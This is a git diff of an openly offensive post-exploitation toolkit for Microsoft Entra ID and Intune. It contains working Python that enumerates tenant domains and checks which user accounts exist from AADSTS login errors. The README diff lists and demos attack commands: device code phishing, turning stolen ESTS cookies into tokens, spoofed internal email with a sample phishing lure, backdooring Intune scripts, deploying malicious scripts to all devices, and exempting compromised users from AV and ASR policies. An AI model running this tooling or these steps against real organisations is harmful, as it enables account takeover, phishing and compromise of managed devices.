"https://autodiscover-s-dod.office365.us/autodiscover/autodiscover.svc" + elif tenant_region_sub_scope == "DODCON": + autodiscover_url = "https://autodiscover-s.office365.us/autodiscover/autodiscover.svc" + else: + autodiscover_url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" + + autodiscover_body = f""" + + + + http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation + {autodiscover_url} + + http://www.w3.org/2005/08/addressing/anonymous + + + + + + {domain} + + + + + """.strip() + + headers = { + "Content-Type": "text/xml; charset=utf-8", + "SOAPAction": '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"', + "User-Agent": "AutodiscoverClient" + } + + autodiscover_response = requests.post(autodiscover_url, data=autodiscover_body, headers=headers) + autodiscover_response.raise_for_status() + autodiscover_xml = autodiscover_response.content + tree = ET.ElementTree(ET.fromstring(autodiscover_xml)) + namespaces = { + 's': 'http://schemas.xmlsoap.org/soap/envelope/', + 'a': 'http://www.w3.org/2005/08/addressing', + 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages', + 't': 'http://schemas.microsoft.com/exchange/services/2006/types', + 'ns2': 'http://schemas.microsoft.com/exchange/2010/Autodiscover' + } + + found_domains = [elem.text for elem in tree.findall('.//ns2:Domain', namespaces)] + + if domain not in found_domains: + found_domains.append(domain) + + domains = sorted(found_domains) + + except Exception as e: + print(f"An unexpected error occurred: {e}") + + return domains + +############## +# NOT IN USE # +############## +def get_credential_type(username, flow_token=None, original_request=None): + body = { + "username": username, + "isOtherIdpSupported": True, + "checkPhones": True, + "isRemoteNGCSupported": False, + "isCookieBannerShown": False, + "isFidoSupported": False, + "originalRequest": original_request, + "flowToken": flow_token + } + + if original_request: + body["isAccessPassSupported"] = True + + try: + response = requests.post("https://login.microsoftonline.com/common/GetCredentialType", + json=body, + headers={"Content-Type": "application/json; charset=UTF-8"}) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + print(f"Error in Get-CredentialType: {e}") + return None + +############## +# NOT IN USE # +############## +def get_rst_token(url, endpoint_address, username, password="none"): + request_id = str(uuid.uuid4()) + now = datetime.utcnow() + created = now.isoformat() + "Z" + expires = (now + timedelta(minutes=10)).isoformat() + "Z" + + body = f""" + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue + {url} + urn:uuid:{str(uuid.uuid4())} + + + {created} + {expires} + + + {username} + {password} + + + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/Issue + + + {endpoint_address} + + http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey + + + + """ + + try: + response = requests.post(url, + data=body, + headers={"Content-Type": "application/soap+xml; charset=UTF-8"}, + timeout=10) + response.raise_for_status() + response_xml = response.content + + if "urn:oasis:names:tc:SAML:1.0:assertion" in response_xml.decode(): + return True + return False + except requests.exceptions.RequestException as e: + print(f"Error in Get-RSTToken: {e}") + return None + +############## +# NOT IN USE # +############## +def does_user_exist(user, method="Normal"): + exists = False + error_details = "" + + if method == "Normal": + cred_type = get_credential_type(user) + if cred_type: + if cred_type.get('ThrottleStatus') == 1: + print("Requests throttled!") + return None + exists = cred_type.get('IfExistsResult') in [0, 6] + else: + if method == "Login": + random_guid = str(uuid.uuid4()) + body = { + "resource": random_guid, + "client_id": random_guid, + "grant_type": "password", + "username": user, + "password": "none", + "scope": "openid" + } + try: + response = requests.post("https://login.microsoftonline.com/common/oauth2/token", + data=body, + headers={"Content-Type": "application/x-www-form-urlencoded"}) + response.raise_for_status() + exists = True + except requests.exceptions.RequestException as e: + error_details = e.response.json().get("error_description", "") + + elif method in ["Autologon", "RST2"]: + request_id = str(uuid.uuid4()) + domain = user.split("@")[1] + password = "none" + now = datetime.utcnow() + created = now.isoformat() + "Z" + expires = (now + timedelta(minutes=10)).isoformat() + "Z" + + if method == "RST2": + url = "https://login.microsoftonline.com/RST2.srf" + end_point = "sharepoint.com" + else: + url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={request_id}" + end_point = "urn:federation:MicrosoftOnline" + + try: + response = get_rst_token(url, end_point, user, password) + exists = response is not None + except Exception as e: + error_details = str(e) + + if not exists and error_details: + if error_details.startswith("AADSTS50053"): + exists = True + elif error_details.startswith("AADSTS50126"): + exists = True + elif error_details.startswith("AADSTS50076"): + exists = True + elif error_details.startswith("AADSTS700016"): + exists = True + elif error_details.startswith("AADSTS50034"): + exists = False + elif error_details.startswith("AADSTS50059"): + exists = False + elif error_details.startswith("AADSTS81016"): + print("Got Invalid STS request. The tenant may not have DesktopSSO or Directory Sync enabled.") + return None + else: + return None + + return exists + +# todo: +# - add mfasweep functions \ No newline at end of file diff --git a/README.md b/README.md index 35f15d7..59de136 100644 --- a/README.md +++ b/README.md @@ -10,592 +10,262 @@ Graphpython covers external reconnaissance, authentication/token manipulation, e ## Index -- [Install](#Install) +- [Installation](#Installation) - [Usage](#Usage) - [Commands](#Commands) -- [Demo](#demos) - - [Outsider](#outsider-1) - - [Invoke-ReconAsOutsider](#invoke-reconasoutsider) - - [Invoke-UserEnumerationAsOutsider](#invoke-userenumerationasoutsider) - - [Authentication](#authentication-1) - - [Get-GraphTokens](#get-graphtokens) - - [Invoke-RefreshToAzureManagementToken](#invoke-refreshtoazuremanagementtoken) - - [Invoke-CertToAccessToken](#invoke-certtoaccesstoken) - - [Invoke-ESTSCookieToAccessToken](#invoke-estscookietoaccesstoken) - - [Post-Auth Enumeration](#post-auth-enumeration-1) - - [Get-User](#get-user) - - [Get-UserPrivileges](#get-userprivileges) - - [Get-Application](#get-application) - - [List-RecentOneDriveFiles](#list-recentonedrivefiles) - - [Post-Auth Exploitation](#post-auth-exploitation-1) - - [Invite-GuestUser](#invite-guestuser) - - [Find-PrivilegedRoleUsers](#find-privilegedroleusers) - - [Assign-PrivilegedRole](#assign-privilegedrole) - - [Find-PrivilegedApplications](#find-privilegedapplications) - - [Add-ApplicationPermission](#add-applicationpermission) - - [Spoof-OWAEmailMessage](#spoof-owaemailmessage) - - [Find-DynamicGroups](#find-dynamicgroups) - - [Find-UpdatableGroups](#find-updatablegroups) - - [Post-Auth Intune Enumeration](#post-auth-intune-enumeration-1) - - [Get-ManagedDevices](#get-manageddevices) - - [Get-UserDevices](#get-userdevices) - - [Get-DeviceConfigurationPolicies](#get-deviceconfigurationpolicies) - - [Post-Auth Intune Exploitation](#post-auth-intune-exploitation-1) - - [Display-AVPolicyRules](#display-avpolicyrules) - - [Get-ScriptContent](#get-scriptcontent) - - [Backdoor-Script](#backdoor-script) - - [Deploy-MaliciousScript](#deploy-maliciousscript) - - [Add-ExclusionGroupToPolicy](#add-exclusiongrouptopolicy) - - [Cleanup](#cleanup-1) - - [Remove-GroupMember](#remove-groupmember) - - [Locators](#locators-1) - - [Locate-ObjectID](#locate-objectid) - - [Locate-PermissionID](#locate-permissionid) - - - -## Install +- [Demos](#Demos) + +## Installation + +Graphpython is designed to be cross-platform, ensuring compatibility with both Windows and Linux based operating systems: ``` git clone https://github.com/mlcsec/Graphpython.git cd Graphpython -pip3 install -r requirements.txt +pip install . +``` +```bash +Graphpython -h +# or +python3 Graphpython.py -h ``` ## Usage +Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki/Usage) for more details +

## Commands -Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for the full user guide and details of available functionality. - -### Outsider - -* **Invoke-ReconAsOutsider** - Perform outsider recon of the target domain -* **Invoke-UserEnumerationAsOutsider** - Checks whether the user exists within Azure AD - -### Authentication - -* **Get-GraphTokens** - Obtain graph token via device code phish -* **Get-TenantID** - Get tenant ID for target domain -* **Get-TokenScope** - Get scope of supplied token -* **Decode-AccessToken** - Get all token payload attributes -* **Invoke-RefreshToMSGraphToken** - Convert refresh token to Microsoft Graph token -* **Invoke-RefreshToAzureManagementToken** - Convert refresh token to Azure Management token -* **Invoke-RefreshToVaultToken** - Convert refresh token to Azure Vault token -* **Invoke-RefreshToMSTeamsToken** - Convert refresh token to MS Teams token -* **Invoke-RefreshToOfficeAppsToken** - Convert refresh token to Office Apps token -* **Invoke-RefreshToOfficeManagementToken** - Convert refresh token to Office Management token -* **Invoke-RefreshToOutlookToken** - Convert refresh token to Outlook token -* **Invoke-RefreshToSubstrateToken** - Convert refresh token to Substrate token -* **Invoke-RefreshToYammerToken** - Convert refresh token to Yammer token -* **Invoke-RefreshToIntuneEnrollmentToken** - Convert refresh token to Intune Enrollment token -* **Invoke-RefreshToOneDriveToken** - Convert refresh token to OneDrive token -* **Invoke-RefreshToSharePointToken** - Convert refresh token to SharePoint token -* **Invoke-CertToAccessToken** - Convert Azure Application certificate to JWT access token -* **Invoke-ESTSCookieToAccessToken** - Convert ESTS cookie to MS Graph access token -* **Invoke-AppSecretToAccessToken** - Convert Azure Application secretText credentials to access token -* **New-SignedJWT** - Construct JWT and sign using Key Vault PEM certificate (Azure Key Vault access token required) then generate Azure Management token - -### Post-Auth Enumeration - -* **Get-CurrentUser** - Get current user profile -* **Get-CurrentUserActivity** - Get recent activity and actions of current user -* **Get-OrgInfo** - Get information relating to the target organization -* **Get-Domains** - Get domain objects -* **Get-User** - Get all users (default) or target user -* **Get-UserProperties** - Get current user properties (default) or target user -* **Get-UserGroupMembership** - Get group memberships for current user (default) or target user -* **Get-UserTransitiveGroupMembership** - Get transitive group memberships for current user (default) or target user -* **Get-Group** - Get all groups (default) or target group -* **Get-GroupMember** - Get all members of target group -* **Get-AppRoleAssignments** - Get application role assignments for current user (default) or target user -* **Get-ConditionalAccessPolicy** - Get conditional access policy properties -* **Get-Application** - Get Enterprise Application details for app (NOT object) ID -* **Get-AppServicePrincipal** - Get details of the application's service principal from the app ID -* **Get-ServicePrincipal** - Get Service Principal details -* **Get-ServicePrincipalAppRoleAssignments** - Get Service Principal app role assignments (shows available admin consent permissions that are already granted) -* **Get-PersonalContacts** - Get contacts of the current user -* **Get-CrossTenantAccessPolicy** - Get cross tenant access policy properties -* **Get-PartnerCrossTenantAccessPolicy** - Get partner cross tenant access policy -* **Get-UserChatMessages** - Get ALL messages from all chats for target user (Chat.Read.All) -* **Get-AdministrativeUnitMember** - Get members of administrative unit -* **Get-OneDriveFiles** - Get all accessible OneDrive files for current user (default) or target user -* **Get-UserPermissionGrants** - Get permissions grants of current user (default) or target user -* **Get-oauth2PermissionGrants** - Get oauth2 permission grants for current user (default) or target user -* **Get-Messages** - Get all messages in signed-in user's mailbox (default) or target user -* **Get-TemporaryAccessPassword** - Get TAP details for current user (default) or target user -* **Get-Password** - Get passwords registered to current user (default) or target user -* **List-AuthMethods** - List authentication methods for current user (default) or target user -* **List-DirectoryRoles** - List all directory roles activated in the tenant -* **List-Notebooks** - List current user notebooks (default) or target user -* **List-ConditionalAccessPolicies** - List conditional access policy objects -* **List-ConditionalAuthenticationContexts** - List conditional access authentication context -* **List-ConditionalNamedLocations** - List conditional access named locations -* **List-SharePointRoot** - List root SharePoint site properties -* **List-SharePointSites** - List any available SharePoint sites -* **List-SharePointURLs** - List SharePoint site web URLs visible to current user -* **List-ExternalConnections** - List external connections -* **List-Applications** - List all Azure Applications -* **List-ServicePrincipals** - List all service principals -* **List-Tenants** - List tenants -* **List-JoinedTeams** - List joined teams for current user (default) or target user -* **List-Chats** - List chats for current user (default) or target user -* **List-ChatMessages** - List messages in target chat -* **List-Devices** - List devices -* **List-AdministrativeUnits** - List administrative units -* **List-OneDrives** - List current user OneDrive (default) or target user -* **List-RecentOneDriveFiles** - List current user recent OneDrive files -* **List-SharedOneDriveFiles** - List OneDrive files shared with the current user -* **List-OneDriveURLs** - List OneDrive web URLs visible to current user - -### Post-Auth Exploitation - -* **Invoke-CustomQuery** - Custom GET query to target Graph API endpoint -* **Invoke-Search** - Search for string within entity type (driveItem, message, chatMessage, site, event) -* **Find-PrivilegedRoleUsers** - Find users with privileged roles assigned -* **Find-PrivilegedApplications** - Find privileged apps (via their service principal) with granted admin consent API permissions -* **Find-UpdatableGroups** - Find groups which can be updated by the current user -* **Find-SecurityGroups** - Find security groups and group members -* **Find-DynamicGroups** - Find groups with dynamic membership rules -* **Update-UserPassword** - Update the passwordProfile of the target user (NewUserS3cret@Pass!) -* **Update-UserProperties** - Update a specific user property of the target user -* **Add-UserTAP** - Add new Temporary Access Password (TAP) to target user -* **Add-GroupMember** - Add member to target group -* **Add-ApplicationPassword** - Add client secret to target application -* **Add-ApplicationCertificate** - Add client certificate to target application -* **Add-ApplicationPermission** - Add permission to target application e.g. Mail.Send and attempt to grant admin consent -* **Grant-AppAdminConsent** - Grant admin consent for Graph API permission already assigned to enterprise application -* **Create-Application** - Create new enterprise application with default settings -* **Create-NewUser** - Create new Entra ID user -* **Invite-GuestUser** - Invite guest user to Entra ID -* **Assign-PrivilegedRole** - Assign chosen privileged role to user/group/object -* **Open-OWAMailboxInBrowser** - Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token -* **Dump-OWAMailbox** - Dump OWA Office 365 mailbox -* **Spoof-OWAEmailMessage** - Send email from current user's Outlook mailbox or spoof another user (Mail.Send) - -### Post-Auth Intune Enumeration - -* **Get-ManagedDevices** - Get managed devices -* **Get-UserDevices** - Get user devices -* **Get-CAPs** - Get conditional access policies -* **Get-DeviceCategories** - Get device categories -* **Get-DeviceComplianceSummary** - Get device compliance summary -* **Get-DeviceConfigurations** - Get device configurations -* **Get-DeviceConfigurationPolicies** - Get device configuration policies and assignment details (av, asr, diskenc, etc.) -* **Get-DeviceConfigurationPolicySettings** - Get device configuration policy settings -* **Get-DeviceEnrollmentConfigurations** - Get device enrollment configurations -* **Get-DeviceGroupPolicyConfigurations** - Get device group policy configurations and assignment details -* **Get-DeviceGroupPolicyDefinition** - Get device group policy definition -* **Get-RoleDefinitions** - Get role definitions -* **Get-RoleAssignments** - Get role assignments -* **Get-DeviceCompliancePolicies** - Get all device compliance policies (AV, ASR, Bitlocker, Firewall, EDR, LAPS) assignments +Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki/Commands) for more details on the available commands + +### Outsider + +- Invoke-ReconAsOutsider +- Invoke-UserEnumerationAsOutsider + +### Authentication + +- Get-GraphTokens +- Get-TenantID +- Get-TokenScope +- Decode-AccessToken +- Invoke-RefreshToMSGraphToken +- Invoke-RefreshToAzureManagementToken +- Invoke-RefreshToVaultToken +- Invoke-RefreshToMSTeamsToken +- Invoke-RefreshToOfficeAppsToken +- Invoke-RefreshToOfficeManagementToken +- Invoke-RefreshToOutlookToken +- Invoke-RefreshToSubstrateToken +- Invoke-RefreshToYammerToken +- Invoke-RefreshToIntuneEnrollmentToken +- Invoke-RefreshToOneDriveToken +- Invoke-RefreshToSharePointToken +- Invoke-CertToAccessToken +- Invoke-ESTSCookieToAccessToken +- Invoke-AppSecretToAccessToken +- New-SignedJWT + +### Post-Auth Enumeration + +- Get-CurrentUser +- Get-CurrentUserActivity +- Get-OrgInfo +- Get-Domains +- Get-User +- Get-UserProperties +- Get-UserGroupMembership +- Get-UserTransitiveGroupMembership +- Get-Group +- Get-GroupMember +- Get-AppRoleAssignments +- Get-ConditionalAccessPolicy +- Get-Application +- Get-AppServicePrincipal +- Get-ServicePrincipal +- Get-ServicePrincipalAppRoleAssignments +- Get-PersonalContacts +- Get-CrossTenantAccessPolicy +- Get-PartnerCrossTenantAccessPolicy +- Get-UserChatMessages +- Get-AdministrativeUnitMember +- Get-OneDriveFiles +- Get-UserPermissionGrants +- Get-oauth2PermissionGrants +- Get-Messages +- Get-TemporaryAccessPassword +- Get-Password +- List-AuthMethods +- List-DirectoryRoles +- List-Notebooks +- List-ConditionalAccessPolicies +- List-ConditionalAuthenticationContexts +- List-ConditionalNamedLocations +- List-SharePointRoot +- List-SharePointSites +- List-SharePointURLs +- List-ExternalConnections +- List-Applications +- List-ServicePrincipals +- List-Tenants +- List-JoinedTeams +- List-Chats +- List-ChatMessages +- List-Devices +- List-AdministrativeUnits +- List-OneDrives +- List-RecentOneDriveFiles +- List-SharedOneDriveFiles +- List-OneDriveURLs + +### Post-Auth Exploitation + +- Invoke-CustomQuery +- Invoke-Search +- Find-PrivilegedRoleUsers +- Find-PrivilegedApplications +- Find-UpdatableGroups +- Find-SecurityGroups +- Find-DynamicGroups +- Update-UserPassword +- Update-UserProperties +- Add-UserTAP +- Add-GroupMember +- Add-ApplicationPassword +- Add-ApplicationCertificate +- Add-ApplicationPermission +- Grant-AppAdminConsent +- Create-Application +- Create-NewUser +- Invite-GuestUser +- Assign-PrivilegedRole +- Open-OWAMailboxInBrowser +- Dump-OWAMailbox +- Spoof-OWAEmailMessage + +### Post-Auth Intune Enumeration + +- Get-ManagedDevices +- Get-UserDevices +- Get-CAPs +- Get-DeviceCategories +- Get-DeviceComplianceSummary +- Get-DeviceConfigurations +- Get-DeviceConfigurationPolicySettings +- Get-DeviceEnrollmentConfigurations +- Get-DeviceGroupPolicyConfigurations +- Get-DeviceGroupPolicyDefinition +- Get-RoleDefinitions +- Get-RoleAssignments +- Get-DeviceCompliancePolicies +- Get-DeviceConfigurationPolicies ### Post-Auth Intune Exploitation -* **Dump-DeviceManagementScripts** - Dump device management PowerShell scripts -* **Dump-WindowsApps**: Dump managed Windows OS applications (exe, msi, appx, msix, etc.) -* **Dump-iOSApps**: Dump managed iOS/iPadOS mobile applications -* **Dump-macOSApps**: Dump managed macOS applications -* **Dump-AndroidApps**: Dump managed Android mobile applications -* **Get-ScriptContent** - Get device management script content -* **Backdoor-Script** - Add malicious code to pre-existing device management script -* **Deploy-MaliciousScript** - Deploy new malicious device management PowerShell script (all devices) -* **Display-AVPolicyRules** - Display antivirus policy rules -* **Display-ASRPolicyRules** - Display Attack Surface Reduction (ASR) policy rules -* **Display-DiskEncryptionPolicyRules** - Display disk encryption policy rules -* **Display-FirewallConfigPolicyRules** - Display firewall configuration policy rules -* **Display-FirewallRulePolicyRules** - Display firewall rule policy rules (firewall rules not firewall config policy) -* **Display-EDRPolicyRules** - Display EDR policy rules -* **Display-LAPSAccountProtectionPolicyRules** - Display LAPS account protection policy rules -* **Display-UserGroupAccountProtectionPolicyRules** - Display user group account protection policy rules -* **Add-ExclusionGroupToPolicy** - Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device -* **Reboot-Device** - Reboot managed device -* **Retire-Device** - Retire managed device -* **Lock-Device** - Lock managed device -* **Shutdown-Device** - Shutdown managed device -* **Update-DeviceConfig** - Update properties of the managed device configuration +- Dump-DeviceManagementScripts +- Dump-WindowsApps +- Dump-iOSApps +- Dump-macOSApps +- Dump-AndroidApps +- Get-ScriptContent +- Backdoor-Script +- Deploy-MaliciousScript +- Deploy-MaliciousWebLink +- Display-AVPolicyRules +- Display-ASRPolicyRules +- Display-DiskEncryptionPolicyRules +- Display-FirewallConfigPolicyRules +- Display-FirewallRulePolicyRules +- Display-EDRPolicyRules +- Display-LAPSAccountProtectionPolicyRules +- Display-UserGroupAccountProtectionPolicyRules +- Add-ExclusionGroupToPolicy +- Reboot-Device +- Lock-Device +- Shutdown-Device +- Update-DeviceConfig ### Cleanup -* **Delete-User** - Delete a user -* **Delete-Group** - Delete a group -* **Remove-GroupMember** - Remove user from a group -* **Delete-Application** - Delete an application -* **Delete-Device** - Delete managed device -* **Wipe-Device** - Wipe managed device +- Delete-User +- Delete-Group +- Remove-GroupMember +- Delete-Application +- Delete-Device +- Wipe-Device +- Retire-Device ### Locators -* **Locate-ObjectID** - Find object ID and display object properties -* **Locate-PermissionID** - Find Graph permission ID details (application/delegated, description, admin consent required, ...) - - -
- -# Demo - -## Outsider - -### Invoke-ReconAsOutsider - -Perform unauthenticated external recon of the target domain like AADInternal's [Invoke-ReconAsOutsider](https://github.com/Gerenios/AADInternals/blob/master/KillChain.ps1#L8) - -#### Example: -``` -# graphpython.py --command invoke-reconasoutsider --domain company.com -``` -#### Output: -``` -[*] Invoke-ReconAsOutsider -================================================================================ -Domains: 2 -Tenant brand: Company Ltd -Tenant name: company -Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3 -Tenant region: EU -DesktopSSO enabled: False -MDI instance: Not found -Uses cloud sync: False - -Name DNS MX SPF DMARC DKIM MTA-STS Type STS ----- --- --- ---- ----- ---- ------- ---- --- -company.com False False False False False False Federated sts.company.com -company.onmicrosoft.com True True True False True False Managed -================================================================================ -``` - -### Invoke-UserEnumerationAsOutsider - -Perform username enumeration for the target domain like AADInternal's [Invoke-UserEnumerationAsOutsider](https://github.com/Gerenios/AADInternals/blob/master/KillChain.ps1#L283): - -![](./.github/invokeuserenum.png) - -
- -## Authentication - -### Get-GraphTokens - -Obtain MS Graph tokens via device code authentication (can also be used for device code phishing): - -![](./.github/getgraphtokens.png) - -### Invoke-RefreshToAzureManagementToken - -A valid refresh token can be used to generate access tokens for a [variety of services](https://github.com/mlcsec/Graphpython/wiki#authentication), Azure Management for example shown below. The `--use-cae` switch can be included to use **Continuous Access Evaluation (CAE)** to obtain an access token that's valid for 24 hours: - -![](./.github/refreshtoazuremanagement.png) - -The returned access token can then be used to authenticate to Azure via the Az PowerShell module: -``` -PS > Connect-AzAccount -AccessToken eyJ0eXAi... -AccountId user@domain.onmicrosoft.com -Tenant 42838115-fbda-497e-b273-30944ff2786e - -Subscription name Tenant ------------------ ------ -Azure subscription 42838115-fbda-497e-b273-30944ff2786e -``` - -### Invoke-CertToAccesstoken - -If you stumble across an enterprise application certificate (.pfx) you can use it to request a valid MS Graph access token. - -> The enterprise application must have the corresponding .crt, .pem, or .cer in the application's certificates & secrets configuration otherwise you'll receive 401 client errors as the .pfx used to sign the client assertion won't be registered with the application - -![](./.github/certtoaccesstoken.png) - -The [Get-Application](https://github.com/mlcsec/Graphpython?tab=readme-ov-file#get-application) command can be used to identified the Graph permissions assigned to the compromised application. - -### Invoke-ESTSCookieToAccessToken - -Obtain an MS Graph token for a selected client (MSTeams, MSEdge, AzurePowershell) from a captured ESTSAUTH or ESTSAUTHPERSISTENT cookie: - -> ESTSAUTH and ESTSAUTHPERSISTENT cookies are often captured via successful Evilginx phishes - -![](./.github/estsauthcookie.png) - -
- -## Post-Auth Enumeration - -### Get-User - -Get all or specific user(s) details. User object can be supplied as user ID or User Principal Name: - -![](./.github/getuser.png) - -### Get-UserPrivileges - -Identifies assigned directory roles, Administrative Units, and Group membership information for the current user of target user: - -![](./.github/getuserprivileges.png) - - -### Get-Application - -Get details relating to the target application and now dynamically resolves the `requiredResourceAccess` attribute which contains Graph API role IDs assigned to the application: - -![](./.github/getapplication-updated.png) - -### List-RecentOneDriveFiles - -List recent OneDrive files belonging to current user: - -![](./.github/listrecentonedrivefiles.png) - -
- -## Post-Auth Exploitation - -### Invite-GuestUser - -Invite a malicious guest user to the target environment: - -![](./.github/inviteguestuser.png) - -### Find-PrivilegedRoleUsers - -Loops through 27 of the most privileged directory roles in Entra and displays any assignments to help identify high-value targets: - -![](./.github/findprivilegedroleusers.png) - -### Assign-PrivilegedRole - -Assign a privileged role via template ID to a user or group and define permission scope: - -![](./.github/assignprivilegedrole.png) - - -### Find-PrivilegedApplications - -Applications can be granted privileged Graph API permissions via 'Grant admin consent...' option for permissions marked 'Admin consent required': - -![](./.github/apiperms.png) - -The `Find-PrivilegedApplications` command helps to identify high-value apps that have already been assigned with privileged permssions: - -1. identifies all enterprise/registered applications within Entra (no default Microsoft ones included) -2. finds the service principal ID for each application -3. enumerates app role assignments for each application service principal -4. cross-references assigned app role IDs and data against .github/graphpermissions.txt -5. displays assigned role name and description - -![](./.github/findprivilegedapps.png) - -### Add-ApplicationPermission - -Adds desired Graph API permission to target application ID. If the role is privileged it will prompt the user to confirm whether to attempt to grant admin consent (via the `beta/directory/consentToApp` endpoint) using the current privileges: - -![](./.github/addapplicationpermission.png) - -> NOTE: if the admin consent grant attempt fails with 400 error the token likely doesn't have the necessary scope/permissions assigned - -The permission update succeeded in this instance and the application API permission is assigned however the admin consent grant obviously failed: - -![](./.github/azureperms1.png) - -Once you obtain the necessary permissions or compromise a privileged token then the `Grant-AppAdminConsent` command can be used to grant admin consent to the role that was added for the target app ID: - -![](./.github/grantappadminconsent.png) - -Verified in the Azure portal: - -![](./.github/azureperms2.png) - -Or you can use the `Get-Application` command: -``` -# graphpython.py --command get-application --id 3d84ebcc-0eef-4f59-ae2a-3fe0e1eb7f51 --token .\token --select requiredResourceAccess - -[*] Get-Application -================================================================================ -requiredResourceAccess: [{'resourceAppId': '00000003-0000-0000-c000-000000000000', 'resourceAccess': [{'id': 'd07a8cc0-3d51-4b77-b3b0-32704d1f69fa', 'type': 'Role'}]}] -================================================================================ -``` -The ID within `resourceAccess` corresponds to `AccessReview.Read.All` that was assigned as confirmed with [Locate-PermissionID](https://github.com/mlcsec/Graphpython/tree/main?tab=readme-ov-file#locate-permissionid): - -![](./.github/locatepermissionid.png) - - -### Spoof-OWAEmailMessage - -Send emails using a compromised user's Outlook mail box. The `--id` parameter can be used to send emails as other users within the organistion. - -> Mail.Send permission REQUIRED for `--id` spoofing - -Options: -1. Compromise and auth as an application service principal with the `Mail.Send` permission assigned then use `Spoof-OWAEmailMessage` -2. Obtain Global Admin/Application Admin/Cloud Admin permissions or assign role to an existing owned user with `Assign-PrivilegedRole` -> then add a password/certifcate and `Mail.Send` permission to an enterprise app -> auth as the app service principal and then use `Spoof-OWAEmailMessage` - -![](./.github/spoofowaemailcommand.png) - -The content of `--email email.txt` for reference: - -``` -Morning, - -Please use following login for the devops portal whilst the main app is down: - -https://malicious/login - -Regards, - -MC -``` -> I've not tested any HTML or similar formatted emails but in theory anything that works in Outlook normally should render correctly if supplied via `--email`. - -Can see the email in the target users Outlook: - -![](./.github/spoofowaemail.png) - - -### Find-DynamicGroups - -Identify groups with dyanmic group membership rules that can be abused: - -![](./.github/finddynamicgroups.png) - -In this instance you could create a new user (`Create-NewUser`) with 'admin' in their UPN to be assigned to the Dynamic Admins group. Or you could update the user's Department property via `Update-UserProperties`. - -### Find-UpdatableGroups - -Identify groups that can be updated with the current user's permissions: - -![](./.github/findupdatablegroups.png) - - -
- -## Post-Auth Intune Enumeration - -### Get-ManagedDevices - -List Intune managed devices then select and display device properties such as name, os version, and username: - -![](./.github/getmanageddevices.png) - -### Get-UserDevices - -Similarly you can identify all Intune managed devices and details belonging to a specific user by supplying their Entra User ID or their User Principal Name using the `--id` flag: - -![](./.github/getuserdevices.png) - -### Get-DeviceConfigurationPolicies - -Identify all created device configuration policies across the Intune environment with colour highlighting for policies with active/no assignments. This includes Antivirus (Defender), Disk encryption (Bitlocker), Firewall (policies and rules), EDR, and Attack Surface Reduction (ASR): - -![](./.github/getdeviceconfigurationpolicies.png) - -In the example above you can see an ASR policy in place which is assigned to all users and devices, however members of group ID `46a6...` are excluded. There is a Bitlocker policy but it hasn't been assigned to any devices. - -
- -## Post-Auth Intune Exploitation - -### Display-AVPolicyRules - -Display the rules for a Microsoft Defender Antivirus policy deployed via Intune: - -![](./.github/displayavpolicyrules.png) - -### Get-ScriptContent - -Get all device management PowerShell script details and content: - -![](./.github/getscriptcontent.png) - -### Backdoor-Script - -Identify a pre-existing device management script you want to add malicious code to and get it's content: - -![](./.github/getscriptcontent-new.png) - -Create a new script locally with the existing content and your malicious code added: - -![](./.github/createdirbackdoored.png) - -Supply the backdoored script to the `--script` flag which will then patch the existing script: - -![](./.github/backdoorscript.png) - - -### Deploy-MaliciousScript - -Create a new script with desired properties (signature check, run as account, etc.): - -![](./.github/deploymaliciousscript.png) - -Verified creation and assignment options in Microsoft Intune admin center: - -![](./.github/deploymaliciousscript-intuneportal.png) - -> NOTE: Deploy-PrinterSettings.ps1 is used for the actual script name instead of whatever is supplied to `--script`. Recommended updating this in graphpython.py to blend in to target env. - -### Add-ExclusionGroupToPolicy - -Instead of updating or removing an AV, ASR, Bitlocker etc. policy you can simply add an exclusion group which will keep any groups members (users/devices) exempt from the policy rules in place. - -Take the following Attack Surface Reduction (ASR) policy: - -![](./.github/addexclusiongroup1.png) - -Currently assigned to all users and devices: - -![](./.github/addexclusiongroup2.png) - -Adding an exclusion group to the ASR policy above: - -![](./.github/addexclusiongroup3.png) - -Verify the changes have been applied and Excluded Group ID has been added to the ASR policy: - -![](./.github/addexclusiongroup4.png) - -
- -## Cleanup - -### Remove-GroupMember - -Check the members of the target group: - -![](./.github/getgroupmember.png) - -Remove the group member by first supplying the groupid and object id to the `--id` flag: - -![](./.github/removegroupmember.png) - -Confirm that the object has been removed from the group: - -![](./.github/getgroupmemberafter.png) +- Locate-ObjectID +- Locate-PermissionID +- Locate-DirectoryRole
-## Locators - -### Locate-ObjectID - -Any unknown object IDs can be easily located: - -![](./.github/locateobjectid.png) - -### Locate-PermissionID - -Graph permission IDs applied to objects can be easily located with detailed explaination of the assigned permissions: - -![](./.github/getpermissionid.png) - - +# Demos + +Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki/Demos) for the following demos + +- [Outsider](https://github.com/mlcsec/Graphpython/wiki/Demos#outsider) + - [Invoke-ReconAsOutsider](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-reconasoutsider) + - [Invoke-UserEnumerationAsOutsider](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-userenumerationasoutsider) +- [Authentication](https://github.com/mlcsec/Graphpython/wiki/Demos#authentication) + - [Get-GraphTokens](https://github.com/mlcsec/Graphpython/wiki/Demos#get-graphtokens) + - [Get-TenantID](https://github.com/mlcsec/Graphpython/wiki/Demos#get-tenantid) + - [Invoke-RefreshToAzureManagementToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtoazuremanagementtoken) + - [Invoke-RefreshToMSGraphToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtomsgraphtoken) + - 